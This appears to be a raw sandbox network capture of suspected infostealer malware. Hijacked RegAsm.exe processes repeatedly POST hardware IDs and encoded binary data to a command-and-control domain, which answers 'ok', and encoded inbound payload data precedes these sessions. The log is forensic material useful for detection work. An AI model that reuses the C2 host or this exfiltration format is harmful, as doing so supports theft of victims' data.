Hu91XCiPkKuXQSWyyzCPeNt7kir0JhAtwX1Y7wNYwADEKO3EcZ0Qa8QWtSLaoJUhQa8R7ibxRD8L/1+uwx/TTpQzNYEhxUH4HU3zeNBp3zpYbwY4puVV78P82G/CGIdAAKisB7beECsF1/GgSTKP+dm9UWn390c1GeTLrsYKVdCUIWwEMV0UqJdNL+UZKRX9wWXK+DckRLkTrhqvQRoCw4eoLEdx3NKpBdc04EixD3jZvNApdaZVLAN/S7yaAJk
2024-04-21 13:31:22 UTC	1369	IN	Data Raw: 34 58 78 48 64 41 72 51 39 57 32 49 6f 34 79 7a 58 6e 5a 2f 31 4f 72 39 43 52 56 36 34 48 39 32 61 7a 41 57 51 43 43 78 53 6b 2f 56 57 68 46 53 37 69 47 6b 53 55 30 32 69 4d 48 65 4e 69 37 6b 4f 78 6d 61 68 52 73 67 4c 2f 65 50 78 6f 41 68 42 4f 65 4d 2b 6b 63 36 49 56 42 61 55 52 48 49 7a 4a 61 73 30 77 34 6d 7a 7a 52 71 72 54 6e 6c 4f 75 42 66 64 6d 73 77 6c 6f 44 41 51 52 72 71 38 4a 79 58 4a 58 72 68 64 61 32 34 59 6d 6a 48 4b 47 42 70 63 41 70 38 50 64 43 76 35 4d 30 6d 32 6f 41 32 4e 4e 4e 52 4f 71 73 78 7a 66 50 69 33 4a 41 68 4b 38 34 44 4f 6b 56 34 55 74 2b 30 7a 67 67 39 38 53 73 51 33 77 61 4b 34 50 5a 41 77 4f 48 71 75 34 46 4d 46 2b 52 61 38 59 57 4e 2b 41 4b 63 45 34 2f 47 66 38 53 4b 58 61 6c 31 6a 38 51 70 41 46 31 30 42 75 46 30 42 49 35 Data Ascii: 4XxHdArQ9W2Io4yzXnZ/1Or9CRV64H92azAWQCCxSk/VWhFS7iGkSU02iMHeNi7kOxmahRsgL/ePxoAhBOeM+kc6IVBaURHIzJas0w4mzzRqrTnlOuBfdmswloDAQRrq8JyXJXrhda24YmjHKGBpcAp8PdCv5M0m2oA2NNNROqsxzfPi3JAhK84DOkV4Ut+0zgg98SsQ3waK4PZAwOHqu4FMF+Ra8YWN+AKcE4/Gf8SKXal1j8QpAF10BuF0BI5
2024-04-21 13:31:22 UTC	1369	IN	Data Raw: 73 54 61 51 61 55 4e 79 4f 4a 63 6f 35 34 32 72 33 51 37 4c 4a 6e 6c 61 79 41 4c 67 67 31 47 73 43 54 77 63 49 35 4f 56 5a 69 56 74 53 6f 51 31 61 31 38 74 43 70 79 4f 67 42 5a 64 5a 79 4c 44 32 45 72 73 41 75 44 62 2b 51 47 6b 42 44 42 75 6a 74 68 44 4e 65 6b 57 76 46 6c 4c 61 67 69 62 45 4d 4f 6c 2f 38 55 57 6f 30 5a 52 58 73 41 48 37 66 4c 38 42 4b 55 46 6f 65 38 2f 39 48 4e 45 2b 48 65 42 64 65 2b 65 38 43 59 78 55 68 58 4b 79 4b 4d 76 43 39 54 6e 58 54 50 39 69 2f 46 67 72 54 77 45 59 6f 37 4d 66 32 33 42 58 72 42 70 63 30 6f 4d 69 79 7a 44 67 59 2b 35 49 6f 64 75 54 58 62 51 46 2f 47 2b 34 42 47 55 49 51 46 37 4d 31 6e 43 4a 65 56 33 69 52 52 36 55 6f 79 6e 57 4a 71 78 44 39 30 43 6e 79 34 74 4a 2f 47 53 54 63 66 4a 6f 41 68 5a 6f 65 38 2f 39 48 4d Data Ascii: sTaQaUNyOJco542r3Q7LJnlayALgg1GsCTwcI5OVZiVtSoQ1a18tCpyOgBZdZyLD2ErsAuDb+QGkBDBujthDNekWvFlLagibEMOl/8UWo0ZRXsAH7fL8BKUFoe8/9HNE+HeBde+e8CYxUhXKyKMvC9TnXTP9i/FgrTwEYo7Mf23BXrBpc0oMiyzDgY+5IoduTXbQF/G+4BGUIQF7M1nCJeV3iRR6UoynWJqxD90Cny4tJ/GSTcfJoAhZoe8/9HM
2024-04-21 13:31:22 UTC	1369	IN	Data Raw: 46 6c 50 59 68 53 62 48 4e 2b 56 75 39 6b 6d 6a 31 35 74 54 73 67 7a 32 62 76 78 4f 41 57 52 72 55 4b 4f 6c 57 35 45 38 42 59 49 57 53 73 47 49 4f 73 6f 37 34 69 32 55 4b 37 2b 56 39 54 6d 6c 5a 4a 4d 46 2f 41 64 6c 54 31 68 53 35 4c 4d 4a 7a 58 39 46 71 68 52 51 33 34 4d 34 79 7a 76 6c 59 2f 4a 4c 70 4e 65 55 57 62 55 4a 39 47 2b 33 43 57 77 4c 43 68 61 70 2f 56 57 68 46 53 37 69 47 6b 53 55 30 32 69 4d 45 4f 31 69 39 77 44 49 73 49 49 63 31 47 66 68 42 74 64 72 4b 51 67 4d 55 50 7a 2f 57 38 35 32 54 61 77 65 57 74 2b 48 4a 73 30 31 36 47 6a 30 52 36 2f 63 6c 46 57 38 43 75 70 70 73 51 6c 70 42 41 6b 61 6f 4c 77 51 69 54 41 74 79 58 59 63 30 35 4e 71 6c 48 36 75 58 2f 74 57 73 4e 6a 64 4f 74 63 54 74 67 58 55 61 33 42 6e 61 33 76 6b 75 68 65 4a 4a 67 66 Data Ascii: FlPYhSbHN+Vu9kmj15tTsgz2bvxOAWRrUKOlW5E8BYIWSsGIOso74i2UK7+V9TmlZJMF/AdlT1hS5LMJzX9FqhRQ34M4yzvlY/JLpNeUWbUJ9G+3CWwLChap/VWhFS7iGkSU02iMEO1i9wDIsIIc1GfhBtdrKQgMUPz/W852TaweWt+HJs016Gj0R6/clFW8CuppsQlpBAkaoLwQiTAtyXYc05NqlH6uX/tWsNjdOtcTtgXUa3Bna3vkuheJJgf
2024-04-21 13:31:22 UTC	1369	IN	Data Raw: 49 77 6d 6a 47 53 73 4c 66 31 4d 72 39 69 53 55 62 38 4e 38 6e 79 75 44 47 41 48 42 52 79 76 73 78 33 62 65 45 71 72 48 6c 2f 64 6a 43 4c 41 4e 75 31 71 76 41 37 49 73 50 59 53 75 78 53 34 4e 76 35 41 53 68 67 51 48 65 54 56 63 4e 59 77 4c 63 6b 45 4e 4c 2f 67 61 73 73 77 72 6a 57 2b 41 4b 6a 57 6c 56 69 34 43 2f 56 70 75 67 6c 37 42 67 55 65 70 4c 6b 51 78 6e 68 42 6f 52 31 4f 30 6f 38 69 7a 7a 48 6a 59 2f 39 45 34 4a 58 31 4f 64 64 4d 2f 33 62 38 57 43 74 50 4d 68 32 71 70 68 54 4f 62 30 2f 69 64 54 66 4c 78 55 4b 6e 4a 59 59 47 6c 77 43 6e 31 39 30 4b 2f 6b 7a 38 59 4b 34 4c 61 41 51 4c 48 71 4f 79 48 73 4e 2b 53 71 59 65 55 74 2b 4b 4b 63 51 78 34 32 50 32 53 61 6e 63 6b 56 61 37 54 4c 59 47 31 32 73 70 43 42 68 51 2f 50 39 62 34 6c 39 6f 6a 68 70 47 Data Ascii: IwmjGSsLf1Mr9iSUb8N8nyuDGAHBRyvsx3beEqrHl/djCLANu1qvA7IsPYSuxS4Nv5AShgQHeTVcNYwLckENL/gasswrjW+AKjWlVi4C/Vpugl7BgUepLkQxnhBoR1O0o8izzHjY/9E4JX1OddM/3b8WCtPMh2qphTOb0/idTfLxUKnJYYGlwCn190K/kz8YK4LaAQLHqOyHsN+SqYeUt+KKcQx42P2SanckVa7TLYG12spCBhQ/P9b4l9ojhpG
2024-04-21 13:31:22 UTC	1369	IN	Data Raw: 73 71 35 47 72 77 56 71 76 61 6e 6b 53 78 48 4c 67 47 31 78 38 6e 5a 32 73 4a 7a 4e 5a 77 69 58 6c 4a 34 6b 55 65 6c 49 30 6a 79 6a 76 6f 59 2b 35 46 70 74 53 53 57 37 55 49 38 47 32 38 42 47 30 49 42 52 4f 6f 74 68 7a 4b 63 55 47 72 45 31 58 62 79 32 53 6b 56 34 55 74 2b 31 6a 67 67 39 38 53 6e 52 66 37 59 72 46 41 41 57 51 66 58 73 7a 57 41 71 45 56 4c 75 49 61 55 4a 54 54 61 49 77 77 34 47 6a 38 53 71 62 66 6d 46 53 32 43 66 68 6c 76 77 39 74 43 51 51 66 70 4c 59 53 79 48 68 41 71 42 5a 61 32 59 67 73 79 6e 79 67 42 5a 63 72 34 4e 79 46 45 75 52 4f 75 45 36 6e 44 57 55 49 51 48 6a 50 6f 6c 57 68 46 56 7a 4b 64 6a 65 55 6a 43 61 4d 5a 4b 77 74 39 30 79 6b 33 4a 31 66 76 77 54 39 61 72 59 46 61 51 63 53 47 4b 53 36 43 64 74 2b 54 4b 63 52 58 39 53 50 4c Data Ascii: sq5GrwVqvankSxHLgG1x8nZ2sJzNZwiXlJ4kUelI0jyjvoY+5FptSSW7UI8G28BG0IBROothzKcUGrE1Xby2SkV4Ut+1jgg98SnRf7YrFAAWQfXszWAqEVLuIaUJTTaIww4Gj8SqbfmFS2Cfhlvw9tCQQfpLYSyHhAqBZa2YgsynygBZcr4NyFEuROuE6nDWUIQHjPolWhFVzKdjeUjCaMZKwt90yk3J1fvwT9arYFaQcSGKS6Cdt+TKcRX9SPL
2024-04-21 13:31:22 UTC	1369	IN	Data Raw: 47 6c 33 2f 75 73 2f 59 35 2f 42 53 34 4e 76 35 41 58 41 77 4f 48 71 4f 72 43 6f 52 5a 53 36 55 63 53 73 53 63 4a 59 78 79 68 67 61 58 41 4b 61 62 78 52 44 76 51 70 41 46 31 30 42 74 48 6b 42 49 35 75 31 4a 6b 69 73 57 39 55 30 4f 76 4f 41 31 67 6c 53 46 64 4a 51 72 79 35 75 4c 45 75 52 4f 71 69 44 55 61 77 4a 50 45 6c 44 38 2f 31 75 4f 66 56 65 77 47 31 2f 43 69 47 33 79 41 73 6c 37 39 6b 65 77 33 49 70 64 2f 45 4b 51 42 64 64 41 5a 6b 39 59 55 70 33 56 63 4b 49 56 42 61 73 61 52 38 57 64 4a 39 77 37 72 67 57 58 4b 35 2b 56 39 54 6e 58 54 4f 41 75 35 45 49 70 4f 67 4d 65 71 72 6f 4e 32 44 4e 69 74 42 64 62 78 49 77 39 77 33 79 67 42 5a 63 72 34 4e 33 64 43 76 35 66 74 67 62 58 61 79 6b 4c 45 56 44 38 2f 30 75 62 4a 52 44 78 53 67 79 47 34 30 48 54 63 6f Data Ascii: Gl3/us/Y5/BS4Nv5AXAwOHqOrCoRZS6UcSsScJYxyhgaXAKabxRDvQpAF10BtHkBI5u1JkisW9U0OvOA1glSFdJQry5uLEuROqiDUawJPElD8/1uOfVewG1/CiG3yAsl79kew3Ipd/EKQBddAZk9YUp3VcKIVBasaR8WdJ9w7rgWXK5+V9TnXTOAu5EIpOgMeqroN2DNitBdbxIw9w3ygBZcr4N3dCv5ftgbXaykLEVD8/0ubJRDxSgyG40HTco
2024-04-21 13:31:22 UTC	1369	IN	Data Raw: 79 4c 44 32 45 72 4e 4d 6f 43 79 46 51 47 6f 64 45 6c 2b 31 71 78 62 5a 65 51 6d 71 44 46 48 59 79 32 53 4f 66 4b 4a 70 39 30 79 6c 33 49 30 64 72 68 7a 7a 59 71 70 4d 62 52 31 41 58 75 62 39 43 73 4a 78 56 36 77 61 45 38 57 64 4a 39 77 2f 36 32 71 77 53 4c 48 57 6b 52 4c 79 54 72 68 37 74 77 78 76 41 68 56 66 74 61 73 59 33 33 6b 4a 71 67 78 52 32 4d 73 56 67 6c 53 46 42 72 78 59 34 49 50 66 45 6f 6b 50 39 6d 43 37 46 6e 68 43 49 42 75 6f 76 68 66 49 65 51 58 73 64 54 65 2f 79 79 79 4d 5a 4b 77 2b 73 69 6a 4c 73 4e 31 57 72 55 79 67 4c 4f 78 53 4d 6c 70 54 52 2f 54 76 63 36 4a 68 43 38 70 32 52 62 7a 67 51 59 77 71 72 6a 57 2b 45 75 36 7a 39 6a 6e 38 48 72 67 32 2f 6b 41 75 44 42 49 43 6f 72 34 4e 79 6a 6c 37 6e 42 78 52 32 38 63 6b 78 7a 7a 70 66 65 70 Data Ascii: yLD2ErNMoCyFQGodEl+1qxbZeQmqDFHYy2SOfKJp90yl3I0drhzzYqpMbR1AXub9CsJxV6waE8WdJ9w/62qwSLHWkRLyTrh7twxvAhVftasY33kJqgxR2MsVglSFBrxY4IPfEokP9mC7FnhCIBuovhfIeQXsdTe/yyyMZKw+sijLsN1WrUygLOxSMlpTR/Tvc6JhC8p2RbzgQYwqrjW+Eu6z9jn8Hrg2/kAuDBICor4Nyjl7nBxR28ckxzzpfep

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49748	172.67.189.66	443	1740	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-21 13:31:22 UTC	289	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18158 Host: bordersoarmanusjuw.shop
2024-04-21 13:31:22 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 37 39 42 32 46 46 31 41 46 41 37 34 45 30 38 42 33 39 39 35 32 33 42 36 32 37 33 46 42 46 41 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"879B2FF1AFA74E08B399523B6273FBFA--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-04-21 13:31:22 UTC	2827	OUT	Data Raw: 4d e7 b8 03 4d ad dd 29 81 f2 25 6f 8d 9b f3 9f 07 bb ae 6e c1 f4 74 a0 46 9e dd 44 3a b6 ea f7 8d 77 8c 30 f7 2d 3a 5e 78 e6 d9 84 b0 07 c8 dc 44 8b 5c 37 7b fb ca 23 5f 36 6d 2b c9 df b7 24 a9 bc 70 d3 dd 98 da 4d 16 48 c1 d0 c9 d5 49 13 55 45 68 ed 5e ef aa d6 a5 b6 55 e8 30 13 67 aa 7a 0c 44 f5 2f c0 e3 2b e7 fb 3b 59 90 f0 70 93 c0 3f ee 4c 10 0e bb be eb 3c d7 34 e8 6e cd 74 c5 e2 cb eb 6d db e8 13 05 d7 da ba 6c 95 3d a2 38 f5 d7 4b e3 d4 69 a8 33 83 0e 15 fa 46 ca d1 d5 a4 6f 98 ff ba be f6 4f ec e7 b8 41 b9 35 35 6f df d7 6e b4 81 3d a9 b9 db c0 6c dc 0d bd e3 2e 85 05 bc 3b 82 4b 1b 1e ce 0b 47 dd 7b be cb 51 82 bb d3 d3 f4 36 9c 58 ee 7c 6d cc b2 92 e5 6e b1 c6 c7 5e d9 b7 ac 49 aa b3 55 f5 d2 ec 6d 9e f3 27 aa 33 f8 52 f0 fd e9 0a 3f 6c af 16 Data Ascii: MM)%ontFD:w0-:^xD\7{#_6m+$pMHIUEh^U0gzD/+;Yp?L<4ntml=8Ki3FoOA55on=l.;KG{Q6X\|mn^IUm'3R?l
2024-04-21 13:31:23 UTC	816	IN	HTTP/1.1 200 OK Date: Sun, 21 Apr 2024 13:31:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=oqonkosndarkuqd3gveibj9vba; expires=Thu, 15-Aug-2024 07:18:01 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=h7JrzjxFa5a7k1rwqefX%2FBlV8vFEmxGk0Jra2jYL9xOYkAF3e%2Fap3OB%2F4SkT6TY%2F2RKtVfk2QH5e60P622vCIydFG1ox98oyyrvT60rj9eNg4pA%2FSqxHwcGbeyc1p0IxCCVKAFU9HlpOeg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 877dbbea2b24b066-ATL alt-svc: h3=":443"; ma=86400
2024-04-21 13:31:23 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 31 2e 31 38 31 2e 35 37 2e 35 32 0d 0a Data Ascii: fok 81.181.57.52
2024-04-21 13:31:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49749	172.67.189.66	443	5856	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-21 13:31:23 UTC	289	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18158 Host: bordersoarmanusjuw.shop
2024-04-21 13:31:23 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 37 39 42 32 46 46 31 41 46 41 37 34 45 30 38 42 33 39 39 35 32 33 42 36 32 37 33 46 42 46 41 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"879B2FF1AFA74E08B399523B6273FBFA--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-04-21 13:31:23 UTC	2827	OUT	Data Raw: 4d e7 b8 03 4d ad dd 29 81 f2 25 6f 8d 9b f3 9f 07 bb ae 6e c1 f4 74 a0 46 9e dd 44 3a b6 ea f7 8d 77 8c 30 f7 2d 3a 5e 78 e6 d9 84 b0 07 c8 dc 44 8b 5c 37 7b fb ca 23 5f 36 6d 2b c9 df b7 24 a9 bc 70 d3 dd 98 da 4d 16 48 c1 d0 c9 d5 49 13 55 45 68 ed 5e ef aa d6 a5 b6 55 e8 30 13 67 aa 7a 0c 44 f5 2f c0 e3 2b e7 fb 3b 59 90 f0 70 93 c0 3f ee 4c 10 0e bb be eb 3c d7 34 e8 6e cd 74 c5 e2 cb eb 6d db e8 13 05 d7 da ba 6c 95 3d a2 38 f5 d7 4b e3 d4 69 a8 33 83 0e 15 fa 46 ca d1 d5 a4 6f 98 ff ba be f6 4f ec e7 b8 41 b9 35 35 6f df d7 6e b4 81 3d a9 b9 db c0 6c dc 0d bd e3 2e 85 05 bc 3b 82 4b 1b 1e ce 0b 47 dd 7b be cb 51 82 bb d3 d3 f4 36 9c 58 ee 7c 6d cc b2 92 e5 6e b1 c6 c7 5e d9 b7 ac 49 aa b3 55 f5 d2 ec 6d 9e f3 27 aa 33 f8 52 f0 fd e9 0a 3f 6c af 16 Data Ascii: MM)%ontFD:w0-:^xD\7{#_6m+$pMHIUEh^U0gzD/+;Yp?L<4ntml=8Ki3FoOA55on=l.;KG{Q6X\|mn^IUm'3R?l
2024-04-21 13:31:23 UTC	818	IN	HTTP/1.1 200 OK Date: Sun, 21 Apr 2024 13:31:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7vefi2hs9vak532h1umpolfu37; expires=Thu, 15-Aug-2024 07:18:02 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GOz4dT9azjDJ1XZwzXnzmVD%2Fv1MLm3r1fXZ5%2BVEq3NMNYEbbGK0KUts%2BCtlhwm2iD8%2FAeiGpNf15%2F9hSniTBvgf4kIkS32htPJ%2FEJwwOEnQTRF6FzpPv5zBMXaPMKa4Kw88ABmi61djGcg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 877dbbee4b5169ef-ATL alt-svc: h3=":443"; ma=86400
2024-04-21 13:31:23 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 31 2e 31 38 31 2e 35 37 2e 35 32 0d 0a Data Ascii: fok 81.181.57.52
2024-04-21 13:31:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49750	172.67.189.66	443	5900	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-21 13:31:23 UTC	289	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18158 Host: bordersoarmanusjuw.shop
2024-04-21 13:31:23 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 37 39 42 32 46 46 31 41 46 41 37 34 45 30 38 42 33 39 39 35 32 33 42 36 32 37 33 46 42 46 41 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"879B2FF1AFA74E08B399523B6273FBFA--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-04-21 13:31:23 UTC	2827	OUT	Data Raw: 4d e7 b8 03 4d ad dd 29 81 f2 25 6f 8d 9b f3 9f 07 bb ae 6e c1 f4 74 a0 46 9e dd 44 3a b6 ea f7 8d 77 8c 30 f7 2d 3a 5e 78 e6 d9 84 b0 07 c8 dc 44 8b 5c 37 7b fb ca 23 5f 36 6d 2b c9 df b7 24 a9 bc 70 d3 dd 98 da 4d 16 48 c1 d0 c9 d5 49 13 55 45 68 ed 5e ef aa d6 a5 b6 55 e8 30 13 67 aa 7a 0c 44 f5 2f c0 e3 2b e7 fb 3b 59 90 f0 70 93 c0 3f ee 4c 10 0e bb be eb 3c d7 34 e8 6e cd 74 c5 e2 cb eb 6d db e8 13 05 d7 da ba 6c 95 3d a2 38 f5 d7 4b e3 d4 69 a8 33 83 0e 15 fa 46 ca d1 d5 a4 6f 98 ff ba be f6 4f ec e7 b8 41 b9 35 35 6f df d7 6e b4 81 3d a9 b9 db c0 6c dc 0d bd e3 2e 85 05 bc 3b 82 4b 1b 1e ce 0b 47 dd 7b be cb 51 82 bb d3 d3 f4 36 9c 58 ee 7c 6d cc b2 92 e5 6e b1 c6 c7 5e d9 b7 ac 49 aa b3 55 f5 d2 ec 6d 9e f3 27 aa 33 f8 52 f0 fd e9 0a 3f 6c af 16 Data Ascii: MM)%ontFD:w0-:^xD\7{#_6m+$pMHIUEh^U0gzD/+;Yp?L<4ntml=8Ki3FoOA55on=l.;KG{Q6X\|mn^IUm'3R?l
2024-04-21 13:31:23 UTC	810	IN	HTTP/1.1 200 OK Date: Sun, 21 Apr 2024 13:31:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=0gnf2uc5o4lfefgshq1iomsiij; expires=Thu, 15-Aug-2024 07:18:02 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=a4kLRo78KfOjzog6%2B6MqaABZ8Ugs8bYvChgBvn2MHqeEFPVd1tEHlz9O51OVLzoZA8sYU8CqpYeD9gfJ1royCmVfaEanOYJBvNnm%2B0qK0ynBkxgRfHyg66W1xK2riVhLM4qnTfo6XMoZTg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 877dbbeeac6d135d-ATL alt-svc: h3=":443"; ma=86400
2024-04-21 13:31:23 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 31 2e 31 38 31 2e 35 37 2e 35 32 0d 0a Data Ascii: fok 81.181.57.52
2024-04-21 13:31:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49751	172.67.189.66	443	1740	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-21 13:31:23 UTC	288	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8779 Host: bordersoarmanusjuw.shop
2024-04-21 13:31:23 UTC	8779	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 37 39 42 32 46 46 31 41 46 41 37 34 45 30 38 42 33 39 39 35 32 33 42 36 32 37 33 46 42 46 41 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"879B2FF1AFA74E08B399523B6273FBFA--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
